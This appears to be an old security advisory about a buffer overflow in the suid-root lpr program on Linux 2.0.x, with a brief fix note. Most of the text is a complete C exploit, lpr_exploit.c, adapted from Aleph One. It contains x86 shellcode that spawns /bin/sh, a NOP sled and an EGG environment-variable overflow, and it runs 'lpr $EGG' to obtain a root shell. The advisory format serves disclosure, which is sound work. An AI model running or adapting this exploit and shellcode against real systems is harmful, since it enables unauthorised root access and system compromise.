COMMAND
lpr
SYSTEMS AFFECTED
Linux 2.0.0, 2.0.30 (SW 3.0)
PROBLEM
a42n8k9 has found a buffer overflow condition in the lpr program.
The source code used was from BSD 4.4 and tested Linux 2.0.0 The
size of the buffer to target is 1023 bytes, which can be verified
by creating a string of 1023 characters and using it as the
filename:
lpr ffffffffff.......ffff (to 1023 characters)
Below is an exploit to show that the overflow can yield a root
shell due to the fact that lpr is suid root.
------- BEGIN HERE------------------------------------------------
/*
* lpr_exploit.c - Buffer overflow exploit for the lpr program.
* Adapted from code found in "stack smashing..." by Aleph One
* aleph1@underground.org
*
* "wisdom is knowledge passed from one to another", Thanks
* Aleph1
*
* This program takes advantage of the buffer overflow condition
* preset in lpr program. This program is meant as demonstration
* only, and the author claims no resposibility for its use or
* misuse. - a42n8k9
*/
#include <stdlib.h>
#define DEFAULT_OFFSET 1023
#define DEFAULT_BUFFER_SIZE 2289
#define NOP 0x90
/*
* The hex representation of the code to produce an interactive shell.
* Oviously since this is for a Linux Box, you may need to generate the
* right set for your OS if you are porting this to another UNIX system.
*/
char shellcode [] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void)
{ __asm__("mov %esp,%eax"); }
void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;
/* set aside the memory for our shell code */
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
/* Get the address of our stack pointer */
addr = get_sp() - offset;
/* fill our buffer with its address */
ptr = buff;
addr_ptr = (long *)ptr;
for(i = 0; i<bsize; i+=4)
*(addr_ptr++) = addr;
/* fill the first half of the buffer with NOPs */
for(i=0;i<bsize/2;i++)
buff[i] = NOP;
/* add in our shell code */
ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];
/* terminate the string */
buff[bsize - 1] = '\0';
/* load the string into an environment variable */
memcpy(buff,"EGG=",4);
putenv(buff);
/*
* execute the shell command, thus exploiting the overflow
* since lpr is suid root, a root shell will be spawned
*/
system("lpr $EGG");
}
-------- END HERE ------------------------------------------------
SOLUTION
In RedHat Linux 4.1, lpr-0.13-1, the buffer overflow is caught
and the exploit will not work. It appears to already have been
fixed.
Workaround would be to use the strncat in source where bug is but
that would stop lpr from processing a file with a name greater
than BUFSIZ characters.
The following URL (Linux Security FAQ) provides information about
available fixes:
http://www.redhat.com/linux-info/security/linux-alert/1996-November/0004.html